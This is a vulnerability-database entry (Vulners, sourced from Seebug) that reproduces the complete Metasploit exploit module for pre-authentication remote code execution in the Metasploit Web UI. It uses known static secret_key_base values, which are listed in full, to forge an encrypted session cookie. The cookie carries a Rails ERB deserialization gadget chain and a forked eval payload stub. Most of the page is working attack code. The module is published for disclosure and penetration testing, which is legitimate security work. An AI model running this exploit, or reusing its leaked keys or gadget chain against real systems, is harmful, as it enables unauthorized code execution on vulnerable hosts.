Lucene search
K

Metasploit Weekly Release Static secret_key_base pre-auth 远程代码执行漏洞

🗓️ 21 Sep 2016 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 47 Views

Metasploit Weekly Release pre-auth Remote Code Executio

Code

                                                # Rapid7 作为 Metasploit 官方在9月就接受了漏洞作者的利用模块提交,在 Metasploit Framework 里可用。
# 源码来源 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/metasploit_static_secret_key_base.rb
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  #Helper Classes copy/paste from Rails4
  class MessageVerifier

    class InvalidSignature < StandardError; end

    def initialize(secret, options = {})
      @secret = secret
      @digest = options[:digest] || 'SHA1'
      @serializer = options[:serializer] || Marshal
    end

    def generate(value)
      data = ::Base64.strict_encode64(@serializer.dump(value))
      "#{data}--#{generate_digest(data)}"
    end

    def generate_digest(data)
      require 'openssl' unless defined?(OpenSSL)
      OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
    end

  end

  class MessageEncryptor

    module NullSerializer #:nodoc:

      def self.load(value)
        value
      end

      def self.dump(value)
        value
      end

    end

    class InvalidMessage < StandardError; end

    OpenSSLCipherError = OpenSSL::Cipher::CipherError

    def initialize(secret, *signature_key_or_options)
      options = signature_key_or_options.extract_options!
      sign_secret = signature_key_or_options.first
      @secret = secret
      @sign_secret = sign_secret
      @cipher = options[:cipher] || 'aes-256-cbc'
      @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)
      # @serializer = options[:serializer] || Marshal
    end

    def encrypt_and_sign(value)
      @verifier.generate(_encrypt(value))
    end

    def _encrypt(value)
      cipher = new_cipher
      cipher.encrypt
      cipher.key = @secret
      # Rely on OpenSSL for the initialization vector
      iv = cipher.random_iv
      #encrypted_data = cipher.update(@serializer.dump(value))
      encrypted_data = cipher.update(value)
      encrypted_data << cipher.final
      [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
    end

    def new_cipher
      OpenSSL::Cipher::Cipher.new(@cipher)
    end

  end

  class KeyGenerator

    def initialize(secret, options = {})
      @secret = secret
      @iterations = options[:iterations] || 2**16
    end

    def generate_key(salt, key_size=64)
      OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
    end

  end

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Metasploit Web UI Static secret_key_base Value',
      'Description'    => %q{
        This module exploits the Web UI for Metasploit Community, Express and
        Pro where one of a certain set of Weekly Releases have been applied.
        These Weekly Releases introduced a static secret_key_base value.
        Knowledge of the static secret_key_base value allows for
        deserialization of a crafted Ruby Object, achieving code execution.

        This module is based on
        exploits/multi/http/rails_secret_deserialization
      },
      'Author'         =>
        [
          'Justin Steven',    # @justinsteven
          'joernchen of Phenoelit <joernchen[at]phenoelit.de>'  # author of rails_secret_deserialization
        ],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          ['OVE', '20160904-0002'],
          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401'],
          ['URL', 'https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md']
        ],
      'DisclosureDate' => 'Sep 15 2016',
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        => [ ['Automatic', {} ] ],
      'DefaultTarget'  => 0,
      'DefaultOptions' =>
        {
          'SSL'   => true
        }
      ))

    register_options(
      [
        Opt::RPORT(3790),
        OptString.new('TARGETURI', [ true, 'The path to the Metasploit Web UI', "/"]),
      ], self.class)
  end


  #
  # This stub ensures that the payload runs outside of the Rails process
  # Otherwise, the session can be killed on timeout
  #
  def detached_payload_stub(code)
  %Q^
    code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
    if RUBY_PLATFORM =~ /mswin|mingw|win32/
      inp = IO.popen("ruby", "wb") rescue nil
      if inp
        inp.write(code)
        inp.close
      end
    else
      Kernel.fork do
        eval(code)
      end
    end
    {}
  ^.strip.split(/\n/).map{|line| line.strip}.join("\n")
  end

  def check_secret(data, digest, secret)
    data = Rex::Text.uri_decode(data)
    keygen = KeyGenerator.new(secret,{:iterations => 1000})
    sigkey = keygen.generate_key('signed encrypted cookie')
    digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), sigkey, data)
  end

  def get_secret(data, digest)
    secrets = [
      ['4.12.0_2016061501', 'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7'],
      ['4.12.0_2016062101', '99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc'],
      ['4.12.0_2016062101', '446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde'],
      ['4.12.0_2016081001', '61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a'],
      ['4.12.0_2016081201', '23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32'],
      ['4.12.0_2016083001', '18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615'],
      ['unreleased build', 'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c']
    ]
    for secret in secrets
      return secret if check_secret(data, digest, secret[1])
    end
    [nil, nil]
  end

  def build_signed_cookie(secret)
    keygen = KeyGenerator.new(secret,{:iterations => 1000})
    enckey = keygen.generate_key('encrypted cookie')
    sigkey = keygen.generate_key('signed encrypted cookie')
    crypter = MessageEncryptor.new(enckey, sigkey)

    # Embed the payload within detached stub
    code =
      "eval('" +
      Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +
      "'.unpack('m0').first)"

    # Embed code within Rails 4 popchain
    cookie = "\x04\b" +
    "o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +
      ":\x0E@instanceo" +
        ":\bERB\x07" +
          ":\t@src"+  Marshal.dump(code)[2..-1] +
          ":\x0c@lineno"+ "i\x00" +
      ":\f@method:\vresult:" +
      "\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"

    crypter.encrypt_and_sign(cookie)
  end

  def check
    cookie_name = '_ui_session'

    vprint_status("Checking for cookie #{cookie_name}")
    res = send_request_cgi({
      'uri'    => datastore['TARGETURI'] || "/",
      'method' => 'GET',
    }, 25)

    unless res
      return Exploit::CheckCode::Unknown   # Target didn't respond
    end

    if res.get_cookies.empty?
      return Exploit::CheckCode::Unknown   # Target didn't send us any cookies. We can't continue.
    end

    match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)

    unless match
      return Exploit::CheckCode::Unknown   # Target didn't send us a session cookie. We can't continue.
    end

    if match[1] == cookie_name
      vprint_status("Found cookie")
    else
      vprint_status("Adjusting cookie name to #{match[1]}")
      cookie_name = match[1]
    end

    vprint_status("Searching for proper secret")

    (version, secret) = get_secret(match[2], match[3])

    if secret
      vprint_status("Found secret, detected version #{version}")
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  #
  # Send the actual request
  #
  def exploit
    cookie_name = '_ui_session'

    print_status("Checking for cookie #{cookie_name}")

    res = send_request_cgi({
      'uri'    => datastore['TARGETURI'] || "/",
      'method' => 'GET',
    }, 25)

    unless res
      fail_with(Failure::Unreachable, "Target didn't respond")
    end

    if res.get_cookies.empty?
      fail_with(Failure::UnexpectedReply, "Target didn't send us any cookies. We can't continue.")
    end

    match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)

    unless match
      fail_with(Failure::UnexpectedReply, "Target didn't send us a session cookie. We can't continue.")
    end

    if match[1] == cookie_name
      vprint_status("Found cookie")
    else
      print_status("Adjusting cookie name to #{match[1]}")
      cookie_name = match[1]
    end

    print_status("Searching for proper secret")

    (version, secret) = get_secret(match[2], match[3])

    unless secret
      fail_with(Failure::NotVulnerable, "SECRET not found, target not vulnerable?")
    end

    print_status("Found secret, detected version #{version}")

    cookie = build_signed_cookie(secret)

    print_status "Sending cookie #{cookie_name}"
    res = send_request_cgi({
      'uri'     => datastore['TARGETURI'] || "/",
      'method'  => 'GET',
      'headers' => {'Cookie' => cookie_name+"="+ cookie},
    }, 25)

    handler
  end

end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation